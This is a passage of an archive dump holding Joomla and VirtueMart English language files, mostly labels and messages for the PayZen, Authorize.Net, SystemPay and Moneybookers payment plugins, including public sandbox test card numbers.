VMPAYMENT_PAYZEN_MANUAL="Manual" VMPAYMENT_PAYZEN_YES="Yes" VMPAYMENT_PAYZEN_NO="No" ; Site messages VMPAYMENT_PAYZEN_CURRENCY_NOT_SUPPORTED="This payment mode is not available for the current currency." VMPAYMENT_PAYZEN_CHECK_URL_WARN="The automatic validation has not worked. Have you correctly configured the server URL in your PayZen backoffice ?" VMPAYMENT_PAYZEN_CHECK_URL_WARN_VIRTUEMART="You are using the default settings of the payment plugin attached to VirtueMart's team. Please configure the PayZen payment plugin with your personal information available from the PayZen Back-office. For more information, a user manual is available from the configuration tab of the PayZen plugin." VMPAYMENT_PAYZEN_BTN_ALT="Click to pay with PayZen secured payment platform." VMPAYMENT_PAYZEN_PLEASE_WAIT="Please wait while redirecting to PayZen." VMPAYMENT_PAYZEN_CLICK_BUTTON_IF_NOT_REDIRECTED="If you are not redirected under 10 seconds, please click the button below." VMPAYMENT_PAYZEN_FAILURE_MSG="The payment has not been accepted, your order has not been confirmed." VMPAYMENT_PAYZEN_SUCCESS_MSG="The payment was successful, your order has been confirmed." VMPAYMENT_PAYZEN_ERROR_MSG="An error has occured in the payment process, your order has not been confirmed." VMPAYMENT_PAYZEN_ORDER_NUMBER="Order N°: " VMPAYMENT_PAYZEN_AMOUNT="Amount: " VMPAYMENT_PAYZEN_RESULT="Result: " VMPAYMENT_PAYZEN_TRANS_ID="Transaction ID: " VMPAYMENT_PAYZEN_CC_NUMBER="Card number: " VMPAYMENT_PAYZEN_CC_EXPIRY="Expiration date: " VMPAYMENT_PAYZEN_CC_TYPE="Payment mean: " VMPAYMENT_PAYZEN_NOTIFICATION_RECEVEIVED="Notification received" VMPAYMENT_PAYZEN_PAYMENT_NAME="Payment Name" ; debug VMPAYMENT_PAYZEN_DEBUG="Debug mode activated"PK@y>\L*language/en-GB/en-GB.plg_content_geshi.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Displays formatted code in Articles based on the GeSHi highlighting engine" PK@y>\Ms7language/en-GB/en-GB.plg_quickicon_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\:j333language/en-GB/en-GB.plg_vmpayment_authorizenet.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @email valerie@virtuemart.net ; @package VMPayment ; @subpackage VirtueMart payment Authorize.Net ; all codes from http://www.authorize.net/support/AIM_guide.pdf ; VMPAYMENT_AUTHORIZENET_AIM="AUTHORIZE.NET ADVANCED INTEGRATION METHOD (AIM)" VMPAYMENT_AUTHORIZENET_AMERICANEXPRESS="American Express" VMPAYMENT_AUTHORIZENET_AMOUNT="Amount" VMPAYMENT_AUTHORIZENET_AUTH_CAPTURE="Authorization and Capture" VMPAYMENT_AUTHORIZENET_AUTH_ONLY="Authorization Only" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_A="Address (Street) matches, ZIP does not" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_B="Address information not provided for AVS check" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_E="AVS error" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_G="Non-U.S. Card Issuing Bank" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_N="No Match on Address (Street) or ZIP" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_P="AVS not applicable for this transaction" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_R="Retry – System unavailable or timed out" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_S="Service not supported by issuer" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_U="Address information is unavailable" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_W="Nine digit ZIP matches, Address (Street) does not" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_X="Address (Street) and nine digit ZIP match" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_Y="Address (Street) and five digit ZIP match" VMPAYMENT_AUTHORIZENET_AVS_RESPONSE_Z="Five digit ZIP matches, Address (Street) does not" VMPAYMENT_AUTHORIZENET_CAPTURE_ONLY="Capture Only" VMPAYMENT_AUTHORIZENET_CARD_CVV_INVALID="Card CVV Number Invalid or Missing" VMPAYMENT_AUTHORIZENET_CARD_EXPIRATION_DATE_INVALID="Expiration Date Invalid" VMPAYMENT_AUTHORIZENET_CARD_NUMBER_INVALID="Card Number Invalid" VMPAYMENT_AUTHORIZENET_CARD_TYPE_INVALID="Credit Card Type Invalid" VMPAYMENT_AUTHORIZENET_CCNUM="Credit Card Number: " VMPAYMENT_AUTHORIZENET_CCTYPE="Credit Card Type: " VMPAYMENT_AUTHORIZENET_CHECK_CARD_CODE="Check card code" VMPAYMENT_AUTHORIZENET_COMPLETE_FORM="For authorize.net, please enter your Credit Card information:" VMPAYMENT_AUTHORIZENET_CONNECTING_ERROR="Error connecting to AuthorizeNet" VMPAYMENT_AUTHORIZENET_COST_PERCENT_TOTAL="Discount or Fee per Total Amount " VMPAYMENT_AUTHORIZENET_COST_PERCENT_TOTAL_DESC="Discount or Fee to apply for this payment per transaction. Percent amount (e.g. 5%)" VMPAYMENT_AUTHORIZENET_COST_PER_TRANSACTION="Discount or Fee per Transaction" VMPAYMENT_AUTHORIZENET_COST_TRANSACTION_DESC="Discount or Fee to apply for this payment per transaction. Flat amount " VMPAYMENT_AUTHORIZENET_COUNTRIES_DESC="Countries" VMPAYMENT_AUTHORIZENET_CREDIT="Credit" VMPAYMENT_AUTHORIZENET_CREDITCARDS="Credit Cards" VMPAYMENT_AUTHORIZENET_CREDITCARDS_DESC="Credit Cards accepted" VMPAYMENT_AUTHORIZENET_CURL_LIBRARY_INSTALLED="CURL library installed. You can use Authorize.net payment plugin." VMPAYMENT_AUTHORIZENET_CURL_LIBRARY_NOT_INSTALLED="WARNING:
      This payment plugin Authorize.net in AIM mode needs the CURL library to be installed. This libray seems not available on your server. Please contact your web hosting.
      " VMPAYMENT_AUTHORIZENET_CVV2="CVV: " VMPAYMENT_AUTHORIZENET_CVVIMAGES="CVV images" VMPAYMENT_AUTHORIZENET_CVVIMAGES_DESC="CVV images that will be added to the tooltip 'What is CVV?'" VMPAYMENT_AUTHORIZENET_DEBUG="Debug?" VMPAYMENT_AUTHORIZENET_DEBUG_DESC="If set to yes, payment transaction will be logged in the log folder" VMPAYMENT_AUTHORIZENET_DESCRIPTION="Payment description" VMPAYMENT_AUTHORIZENET_DESCRIPTION_DESC="Payment description added to the payment name and logo" VMPAYMENT_AUTHORIZENET_DINERSCLUB="Diners Club" VMPAYMENT_AUTHORIZENET_DISCOVER="Discover" VMPAYMENT_AUTHORIZENET_EMAIL_CURRENCY="Email currency" VMPAYMENT_AUTHORIZENET_EMAIL_CURRENCY_DESC="Select email currency" VMPAYMENT_AUTHORIZENET_EMAIL_CURRENCY_VENDOR="Vendor currency" VMPAYMENT_AUTHORIZENET_EMAIL_CURRENCY_PAYMENT="Payment currency" VMPAYMENT_AUTHORIZENET_ERROR="There was an error while processing your transaction: %s (%d)" VMPAYMENT_AUTHORIZENET_ERROR_EMAIL_SUBJECT="Error with payment" VMPAYMENT_AUTHORIZENET_ERROR_WHILE_PROCESSING_PAYMENT="Error while processing the payment for the order number %1s" VMPAYMENT_AUTHORIZENET_EXDATE="Expiration Date: " VMPAYMENT_AUTHORIZENET_HOSTNAME="Authorize.net hostname" VMPAYMENT_AUTHORIZENET_HOSTNAME_DESC="Authorize.net hostname. Leave the default value if you are not sure" VMPAYMENT_AUTHORIZENET_JCB="JCB" VMPAYMENT_AUTHORIZENET_LOGIN_ID="Login ID" VMPAYMENT_AUTHORIZENET_LOGIN_ID="The merchant’s unique API Login ID" VMPAYMENT_AUTHORIZENET_LOGIN_ID_DESC="The merchant API Login ID is provided in the Merchant Interface and must be stored securely." VMPAYMENT_AUTHORIZENET_LOGOS="Logos" VMPAYMENT_AUTHORIZENET_LOGOS_DESC="Logos to be displayed with the payment name" VMPAYMENT_AUTHORIZENET_LOG="Log" VMPAYMENT_AUTHORIZENET_LOG_DESC="Log debug infos" VMPAYMENT_AUTHORIZENET_MASTERCARD="Mastercard" VMPAYMENT_AUTHORIZENET_MAX_AMOUNT="Maximum Amount" VMPAYMENT_AUTHORIZENET_MAX_AMOUNT_DESC="Maximum Order Amount to offer this Payment" VMPAYMENT_AUTHORIZENET_MD5_HASH="MD5 Hash" VMPAYMENT_AUTHORIZENET_MD5_HASH_DESC="Please enter your Authorize.net MD5 Hash. The MD5 Hash value is a random value configured in the Merchant Interface." VMPAYMENT_AUTHORIZENET_MIN_AMOUNT="Minimum Amount" VMPAYMENT_AUTHORIZENET_MIN_AMOUNT_DESC="Minimum Order Amount to offer this Payment" VMPAYMENT_AUTHORIZENET_MUST_SSL="You must have a valid Secure Sockets Layer (SSL) certificate." VMPAYMENT_AUTHORIZENET_NO_ORDER_NUMBER ="Authorize.net has returned the following order number %1s. We could not find this order." VMPAYMENT_AUTHORIZENET_ORDERSTATUS_APPROVED="Order Status for Approved Payments" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_DECLINED="Transaction declined" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_FAIL="Order Status for Failed transactions" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_FAIL_DESC="Select an order status for Failed Authorize.net transactions." VMPAYMENT_AUTHORIZENET_ORDERSTATUS_HELD="Transaction held for review" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_INVALID_DESC="Invalid" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_PENDING="Order Status for Pending Payments" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_PENDING_DESC="The order Status to which Orders are set, which have no completed Payment Transaction. The transaction was not cancelled in this case, but it is just pending and waiting for completion." VMPAYMENT_AUTHORIZENET_ORDERSTATUS_SUCCESS="Order Status for Successful transactions" VMPAYMENT_AUTHORIZENET_ORDERSTATUS_SUCCESS_DESC="Select the order status to which the actual order is set, if the Authorize.Net IPN was successful. If using download selling options: select the status which enables the download (then the customer is instantly notified about the download via e-mail)." VMPAYMENT_AUTHORIZENET_ORDER_NUMBER="Order number" VMPAYMENT_AUTHORIZENET_PARAMS="Auhorize.Net Parameters" VMPAYMENT_AUTHORIZENET_PAYMENT_CURRENCY="Payment currency" VMPAYMENT_AUTHORIZENET_PAYMENT_CURRENCY_DESC="Select your payment currency" VMPAYMENT_AUTHORIZENET_PAYMENT_NAME="Payment Name" VMPAYMENT_AUTHORIZENET_PAYMENT_ORDER_TOTAL="Order total sent to authorize" VMPAYMENT_AUTHORIZENET_PRIOR_AUTH_CAPTURE="Prior Authorization and Capture" VMPAYMENT_AUTHORIZENET_RESPONSE_ACCOUNT_NUMBER="Account number" VMPAYMENT_AUTHORIZENET_RESPONSE_AUTHORIZATION_CODE="Authorization Code" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE="Card Code Response" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE_M="Match" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE_N="No Match" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE_P="Not Processed" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE_S="Should have been present" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_CODE_RESPONSE_U="Issuer unable to process request" VMPAYMENT_AUTHORIZENET_RESPONSE_CARD_TYPE="Card Type" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE="CAVV response" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_1="CAVV failed validation" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_2="CAVV passed validation" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_3="CAVV validation could not be performed; issuer attempt incomplete" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_4="CAVV validation could not be performed; issuer system error" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_5="Reserved for future use" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_6="Reserved for future use" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_7="CAVV attempt – failed validation – issuer available (U.S.-issued card/non-U.S acquirer)" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_8="CAVV attempt – passed validation – issuer available (U.S.-issued card/non-U.S. acquirer)" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_9="CAVV attempt – failed validation – issuer unavailable (U.S.-issued card/non-U.S. acquirer)" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_A="CAVV attempt – passed validation – issuer unavailable (U.S.-issued card/non-U.S. acquirer)" VMPAYMENT_AUTHORIZENET_RESPONSE_CAVV_RESPONSE_B="CAVV passed validation, information only, no liability shift" VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_CODE="Response Code" VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_CODE_1="This transaction has been approved." VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_CODE_2="This transaction has been declined." VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_CODE_3="There has been an error processing this transaction." VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_CODE_4="This transaction is being held for review." VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_REASON_CODE="Response Reason Code" VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_REASON_TEXT="Response Reason Text" VMPAYMENT_AUTHORIZENET_RESPONSE_RESPONSE_SUBCODE=" Response Subcode" VMPAYMENT_AUTHORIZENET_RESPONSE_TRANSACTION_ID="Transaction ID" VMPAYMENT_AUTHORIZENET_RESPONSE_TRANSACTION_TYPE="Transaction Type" VMPAYMENT_AUTHORIZENET_OPTION_PARAMS="Optional parameters" VMPAYMENT_AUTHORIZENET_ORDER_STATUS_PARAMS="Order status parameters" VMPAYMENT_AUTHORIZENET_SANDBOX_HOSTNAME="Authorize.net Sandbox hostname" VMPAYMENT_AUTHORIZENET_SANDBOX_HOSTNAME_DESC="Authorize.net hostname. Leave the default value if you are not sure" VMPAYMENT_AUTHORIZENET_SANDBOX_LOGIN_ID="Sandbox Login ID" VMPAYMENT_AUTHORIZENET_SANDBOX_LOGIN_ID_DESC="Authorize.Net Sandbox Login ID Desc" VMPAYMENT_AUTHORIZENET_SANDBOX_MD5_HASH="Sandbox MD5 Hash" VMPAYMENT_AUTHORIZENET_SANDBOX_MD5_HASH_DESC="Authorize.Net Sandbox MD5 Hash Desc" VMPAYMENT_AUTHORIZENET_LIVE_PARAMS="Auhorize.Net Production Parameters" VMPAYMENT_AUTHORIZENET_SANDBOX_PARAMS="Auhorize.Net Sandbox Parameters" VMPAYMENT_AUTHORIZENET_SANDBOX_TEST_NUMBERS="You are using the sandbox. You can use those Credit Cards Test Numbers
      Visa: 4007000000027 / Amex: 370000000000002 / Master Card: 6011000000000012 / Discover: 5424000000000015" VMPAYMENT_AUTHORIZENET_SANDBOX_TRANSACTION_KEY="Sandbox Transaction Key" VMPAYMENT_AUTHORIZENET_SANDBOX_TRANSACTION_KEY_DESC="Authorize.Net Sandbox Transaction Key Desc" VMPAYMENT_AUTHORIZENET_SECURE_POST="Secure Post" VMPAYMENT_AUTHORIZENET_SECURE_POST_DESC="Authorize.Net Secure Post Desc" VMPAYMENT_AUTHORIZENET_SELECT_CC_TYPE="Select a Credit Card type" VMPAYMENT_AUTHORIZENET_TAX="Tax" VMPAYMENT_AUTHORIZENET_TAX_DESC="Tax to apply to the fee" VMPAYMENT_AUTHORIZENET_TEMPLATE_PARAMS="Templating" VMPAYMENT_AUTHORIZENET_TRANSACTION_KEY="Transaction Key" VMPAYMENT_AUTHORIZENET_TRANSACTION_KEY_DESC="The merchant’s unique Transaction Key" VMPAYMENT_AUTHORIZENET_TRANSACTION_PARAMS="Transaction Types" VMPAYMENT_AUTHORIZENET_TRANSACTION_TYPE="Transaction Types" VMPAYMENT_AUTHORIZENET_TRANSACTION_TYPE_AUTH_CAPTURE="Authorization and Capture" VMPAYMENT_AUTHORIZENET_TRANSACTION_TYPE_AUTH_ONLY="Authorization Only" VMPAYMENT_AUTHORIZENET_TRANSACTION_TYPE_DESC="Authorization and Capture: is the most common type of credit card transaction. The amount is sent for authorization, and if approved, is automatically submitted for settlement. Authorization Only: the transaction will not be sent for settlement until the credit card transaction type Prior Authorization and Capture is submitted, or the transaction is submitted for capture manually in the Merchant Interface." VMPAYMENT_AUTHORIZENET_TRANSLATORS_WARING="Translators please read this post first to know if you need to translate this file:http://forum.virtuemart.net/index.php?topic=98187" VMPAYMENT_AUTHORIZENET_UNKNOWN="Unrecognized response from AuthorizeNet: " VMPAYMENT_AUTHORIZENET_USE_SANDBOX="Use Sandbox" VMPAYMENT_AUTHORIZENET_USE_SANDBOX_DESC="Authorize.Net Use Sandbox Desc" VMPAYMENT_AUTHORIZENET_VIRTUEMART_PARAMS="VirtueMart Parameters" VMPAYMENT_AUTHORIZENET_VIRTUEMART_PARAMS_DESC="VirtueMart Parameters" VMPAYMENT_AUTHORIZENET_VISA="Visa" VMPAYMENT_AUTHORIZENET_VOID="Void" VMPAYMENT_AUTHORIZENET_WHATISCVV="What is CVV?" VMPAYMENT_AUTHORIZENET_WHATISCVV_TOOLTIP="CVV are three or four-digit number on the back of a credit card (on the front for American Express).%s"PK@y>\QPKPP(language/en-GB/en-GB.com_modules.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Module Manager" COM_MODULES_XML_DESCRIPTION="Component for module management on the backend." PK@y>\Rfb!b!0language/en-GB/en-GB.plg_vmpayment_systempay.ininuW+A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module pour la plateforme de paiement SYSTEMPAY ; ; Développé par Lyra Network ; http://www.lyra-network.com/ ; 20/02/2012 ; Contact : support@payzen.eu ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; VMPAYMENT_SYSTEMPAY_TRANSLATORS_WARING="Translators please read this post first to know if you need to translate this file:http://forum.virtuemart.net/index.php?topic=98187" ; Admin interface : module configuration VMPAYMENT_SYSTEMPAY_PAYMENT_MODULE_SETTINGS="MODULE SETTINGS" VMPAYMENT_SYSTEMPAY_LOGOS="Logos" VMPAYMENT_SYSTEMPAY_LOGOS_DESC="Logos to dispaly for this payment mode" VMPAYMENT_SYSTEMPAY_COST_PER_TRANSACTION="Fee per transaction" VMPAYMENT_SYSTEMPAY_COST_PER_TRANSACTION_DESC="Flat amount to apply per transaction" VMPAYMENT_SYSTEMPAY_COST_PERCENT_TOTAL="Percent of the total amount" VMPAYMENT_SYSTEMPAY_COST_PERCENT_TOTAL_DESC="Percent to apply to the total amount" VMPAYMENT_SYSTEMPAY_TAX="Tax" VMPAYMENT_SYSTEMPAY_TAX_DESC="Tax to apply to the fee" VMPAYMENT_SYSTEMPAY_MODULE_INFORMATION_TITLE="SYSTEMPAY PAYMENT" ; Admin interface : module informations VMPAYMENT_SYSTEMPAY_MODULE_INFORMATION="MODULE INFORMATION" VMPAYMENT_SYSTEMPAY_DEVELOPED_BY="Developed by" VMPAYMENT_SYSTEMPAY_CONTACT_EMAIL="Contact email" VMPAYMENT_SYSTEMPAY_CONTRIB_VERSION="Module version" VMPAYMENT_SYSTEMPAY_GATEWAY_VERSION="Gateway version" VMPAYMENT_SYSTEMPAY_CMS_VERSION="Tested with" VMPAYMENT_SYSTEMPAY_DOC="Read payment plugin manual" ; Admin interface : platform access parameters VMPAYMENT_SYSTEMPAY_PAYMENT_GATEWAY_ACCESS="PAYMENT GATEWAY ACCESS" VMPAYMENT_SYSTEMPAY_SITE_ID="Site id" VMPAYMENT_SYSTEMPAY_SITE_ID_DESC="Identifier provided by SystemPay" VMPAYMENT_SYSTEMPAY_TEST_KEY="Test key" VMPAYMENT_SYSTEMPAY_TEST_KEY_DESC="Key provided by SystemPay (Available in your backoffice)" VMPAYMENT_SYSTEMPAY_PROD_KEY="Production key" VMPAYMENT_SYSTEMPAY_PROD_KEY_DESC="Key provided by SystemPay (Available in your backoffice after test validation)" VMPAYMENT_SYSTEMPAY_CTX_MODE="Mode" VMPAYMENT_SYSTEMPAY_CTX_MODE_DESC="Module context mode" VMPAYMENT_SYSTEMPAY_PLATFORM_URL="Platform url" VMPAYMENT_SYSTEMPAY_PLATFORM_URL_DESC="Link to wich the client will be redirected for payment" ; Admin interface : payment page parameters VMPAYMENT_SYSTEMPAY_PAYMENT_PAGE="PAYMENT PAGE" VMPAYMENT_SYSTEMPAY_LANGUAGE="Défault language" VMPAYMENT_SYSTEMPAY_LANGUAGE_DESC="Select the default language to use in the payment page" VMPAYMENT_SYSTEMPAY_AVAILABLES_LANGUAGES="Available languages" VMPAYMENT_SYSTEMPAY_AVAILABLES_LANGUAGES_DESC="Select ALL to use paltform configuration" VMPAYMENT_SYSTEMPAY_CAPTURE_DELAY="Capture delay" VMPAYMENT_SYSTEMPAY_CAPTURE_DELAY_DESC="The delay in days before restoration bank (adjustable in your backoffice SystemPay)" VMPAYMENT_SYSTEMPAY_VALIDATION_MODE="Validation mode" VMPAYMENT_SYSTEMPAY_VALIDATION_MODE_DESC="If manual is selected, you will have to confirm payments manually in your bank backoffice" VMPAYMENT_SYSTEMPAY_PAYMENT_CARDS="Credit Card Types" VMPAYMENT_SYSTEMPAY_PAYMENT_CARDS_DESC="Select ALL to use paltform configuration" ; Admin interface : amount restrictions parameters VMPAYMENT_SYSTEMPAY_AMOUNT_RESTRICTIONS="AMOUNT RESTRICTIONS" VMPAYMENT_SYSTEMPAY_AMOUNT_MIN="Minimum amount" VMPAYMENT_SYSTEMPAY_AMOUNT_MIN_DESC="Minimum amount for wich this payment method is available" VMPAYMENT_SYSTEMPAY_AMOUNT_MAX="Maximum amount" VMPAYMENT_SYSTEMPAY_AMOUNT_MAX_DESC="Maximum amount for wich this payment method is available" ; Admin interface : return to store parameters VMPAYMENT_SYSTEMPAY_RETURN_OPTIONS="RETURN OPTIONS" VMPAYMENT_SYSTEMPAY_REDIRECT_ENABLED="Automatic redirection" VMPAYMENT_SYSTEMPAY_REDIRECT_ENABLED_DESC="If enabled, the client is automatically redirected to your site at the end of the payment process" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_TIMEOUT="Success redirection timeout" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_TIMEOUT_DESC="Time in seconds (0-300) before the client is automatically redirected to your site when the payment was successful" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_MESSAGE="Success redirection message" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_MESSAGE_DESC="Message posted on the payment platform before redirection when the payment was successful" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_TIMEOUT="Failure redirection timeout" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_TIMEOUT_DESC="Time in seconds (0-300) before the client is automatically redirected to your site when the payment failed" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_MESSAGE="Failure redirection message" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_MESSAGE_DESC="Message posted on the payment platform before redirection when the payment failed" VMPAYMENT_SYSTEMPAY_RETURN_MODE="Return mode" VMPAYMENT_SYSTEMPAY_RETURN_MODE_DESC="Method that will be used for transmitting the payment result to your store" VMPAYMENT_SYSTEMPAY_URL_SUCCESS="Success URL" VMPAYMENT_SYSTEMPAY_URL_SUCCESS_DESC="URL on which the client is redirected on payment success" VMPAYMENT_SYSTEMPAY_URL_ERROR="Error URL" VMPAYMENT_SYSTEMPAY_URL_ERROR_DESC="URL on which the client is redirected on payment failure" VMPAYMENT_SYSTEMPAY_URL_CANCEL="Cancel URL" VMPAYMENT_SYSTEMPAY_URL_CANCEL_DESC="URL on which the client is redirected on payment cancellation" VMPAYMENT_SYSTEMPAY_URL_CHECK="Server URL to copy in your SystemPay store backoffice" VMPAYMENT_SYSTEMPAY_ORDER_SUCCESS_STATUS="Order Status on payment success" VMPAYMENT_SYSTEMPAY_ORDER_SUCCESS_STATUS_DESC="Define the status of orders paid by SystemPay when payment was successful" VMPAYMENT_SYSTEMPAY_ORDER_FAILURE_STATUS="Order Status on payment failure" VMPAYMENT_SYSTEMPAY_ORDER_FAILURE_STATUS_DESC="Define the status of orders paid by SystemPay when payment failed" ; Admin interface : constants VMPAYMENT_SYSTEMPAY_TEST="Test" VMPAYMENT_SYSTEMPAY_PRODUCTION="Production" VMPAYMENT_SYSTEMPAY_ALL="ALL" VMPAYMENT_SYSTEMPAY_FRENCH="French" VMPAYMENT_SYSTEMPAY_GERMAN="German" VMPAYMENT_SYSTEMPAY_ENGLISH="English" VMPAYMENT_SYSTEMPAY_SPANISH="Spanish" VMPAYMENT_SYSTEMPAY_CHINESE="Chinese" VMPAYMENT_SYSTEMPAY_ITALIAN="Italian" VMPAYMENT_SYSTEMPAY_JAPANESE="Japanese" VMPAYMENT_SYSTEMPAY_PORTUGUESE="Portuguese" VMPAYMENT_SYSTEMPAY_DUTCH="Dutch" VMPAYMENT_SYSTEMPAY_BY_DEFAULT="Default" VMPAYMENT_SYSTEMPAY_AUTOMATIC="Automatic" VMPAYMENT_SYSTEMPAY_MANUAL="Manual" VMPAYMENT_SYSTEMPAY_YES="Yes" VMPAYMENT_SYSTEMPAY_NO="No" ; Site messages VMPAYMENT_SYSTEMPAY_CURRENCY_NOT_SUPPORTED="This payment mode is not available for the current currency." VMPAYMENT_SYSTEMPAY_CHECK_URL_WARN="The automatic validation has not worked. Have you correctly configured the server URL in your SystemPay backoffice ?" VMPAYMENT_SYSTEMPAY_CHECK_URL_WARN_VIRTUEMART="You are using the default settings of the payment plugin attached to VirtueMart's team. Please configure the SystemPay payment plugin with your personal information available from the SystemPay Back-office. For more information, a user manual is available from the configuration tab of the SystemPay plugin." VMPAYMENT_SYSTEMPAY_BTN_ALT="Click to pay with SystemPay secured payment platform." VMPAYMENT_SYSTEMPAY_PLEASE_WAIT="Please wait while redirecting to SystemPay." VMPAYMENT_SYSTEMPAY_CLICK_BUTTON_IF_NOT_REDIRECTED="If you are not redirected under 10 seconds, please click the button below." VMPAYMENT_SYSTEMPAY_FAILURE_MSG="The payment has not been accepted, your order has not been confirmed." VMPAYMENT_SYSTEMPAY_SUCCESS_MSG="The payment was successful, your order has been confirmed." VMPAYMENT_SYSTEMPAY_ERROR_MSG="An error has occured in the payment process, your order has not been confirmed." VMPAYMENT_SYSTEMPAY_ORDER_NUMBER="Order N°: " VMPAYMENT_SYSTEMPAY_AMOUNT="Amount: " VMPAYMENT_SYSTEMPAY_RESULT="Result: " VMPAYMENT_SYSTEMPAY_TRANS_ID="Transaction ID: " VMPAYMENT_SYSTEMPAY_CC_NUMBER="Card number: " VMPAYMENT_SYSTEMPAY_CC_EXPIRY="Expiration date: " VMPAYMENT_SYSTEMPAY_CC_TYPE="Payment mean: " VMPAYMENT_SYSTEMPAY_NOTIFICATION_RECEVEIVED="Notification received" VMPAYMENT_SYSTEMPAY_PAYMENT_NAME="Payment Name" ; debug VMPAYMENT_SYSTEMPAY_DEBUG="Debug mode activated"PK@y>\Ζ;language/en-GB/en-GB.plg_vmpayment_moneybookers_did.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Direct Debit"PK@y>\|&language/en-GB/en-GB.mod_quickicon.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Quick Icons" MOD_QUICKICON_ADD_NEW_ARTICLE="Add New Article" MOD_QUICKICON_ARTICLE_MANAGER="Article Manager" MOD_QUICKICON_CATEGORY_MANAGER="Category Manager" MOD_QUICKICON_EXTENSION_MANAGER="Extension Manager" MOD_QUICKICON_FRONTPAGE_MANAGER="Front Page Manager" MOD_QUICKICON_GLOBAL_CONFIGURATION="Global Configuration" MOD_QUICKICON_GROUP_DESC="The group of this module (this value is compared with the group value used in Quick Icons plugins to inject icons). The 'mod_quickicon' group always displays the Joomla! core icons." MOD_QUICKICON_GROUP_LABEL="Group" MOD_QUICKICON_LANGUAGE_MANAGER="Language Manager" MOD_QUICKICON_MEDIA_MANAGER="Media Manager" MOD_QUICKICON_MENU_MANAGER="Menu Manager" MOD_QUICKICON_MODULE_MANAGER="Module Manager" MOD_QUICKICON_PROFILE="Edit Profile" 